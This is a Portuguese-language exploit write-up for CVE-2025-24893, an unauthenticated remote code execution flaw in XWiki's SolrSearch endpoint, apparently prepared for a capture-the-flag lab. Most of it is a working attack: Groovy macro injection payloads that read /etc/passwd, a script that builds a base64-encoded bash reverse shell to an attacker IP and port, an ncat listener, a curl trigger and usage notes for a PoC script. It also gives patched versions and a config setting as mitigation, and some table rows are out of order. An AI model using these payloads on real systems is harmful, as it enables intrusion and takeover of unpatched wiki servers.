
CVE-2025-24893 é uma vulnerabilidade crítica de execução remota de código (RCE) não autenticada no XWiki, uma popular plataforma wiki empresarial de código aberto.
SolrSearch (UI do XWiki)O endpoint /xwiki/bin/get/Main/SolrSearch concatena a entrada não confiável text=
diretamente em um template Freemarker.
Ao fechar prematuramente o template e abrir um novo bloco {{groovy}} … {{/groovy}},
um atacante executa código Groovy arbitrário sem autenticação.
GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>> HTTP/1.1
SolrSearch deveria incorporar o texto fornecido como conteúdo simples, mas o
tratador da macro não escapa }}}, então ocorre o seguinte:
}}} fecha o bloco Freemarker atual. {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}
async=false força execução síncrona (funciona até para convidados).Um PoC mínimo que exibe /etc/passwd:
}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}
Variante codificada para URL (espaços → %20, chaves → %7B/%7D, etc.):
%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
| Ramificação | Corrigido em | Vulnerável ≤ |
|---|---|---|
| 15.x | 15.10.11 | 15.10.10 (e todas as 15.9 / 15.8 …) |
(fonte: aviso da OffSec e XWiki SEC-S 2025-02)

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444
# 1. one-liner reverse shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
# 2. Base64 (single line)
B64=$(echo -n "$SHELL" | base64 -w0)
# 3. wrap in Groovy macro
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'
# 4. URL-encode
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")
# start listener
sudo ncat -lvnp 4444
# trigger exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"
xwiki_solr_rce.py é fornecido em exploit/ (veja o bloco de código abaixo).
python CVE-2025-24893.py -u <URL ALVO> -l <IP> -p <PORTA>
onde
<URL ALVO> - URL incluindo http:// ou https://
(passe -c "id" para executar um comando arbitrário em vez de um shell)

# /etc/xwiki/xwiki.properties
solr.search.enabled = false
Pesquisa e PoC: DeX1d
Aviso: Apenas para uso educacional. Executar isto contra sistemas que não possui é ilegal.
| 14.x LTS | 14.10.17 | 14.10.16 |
| 13 / 12 | Não mantido – todas permanecem vulneráveis |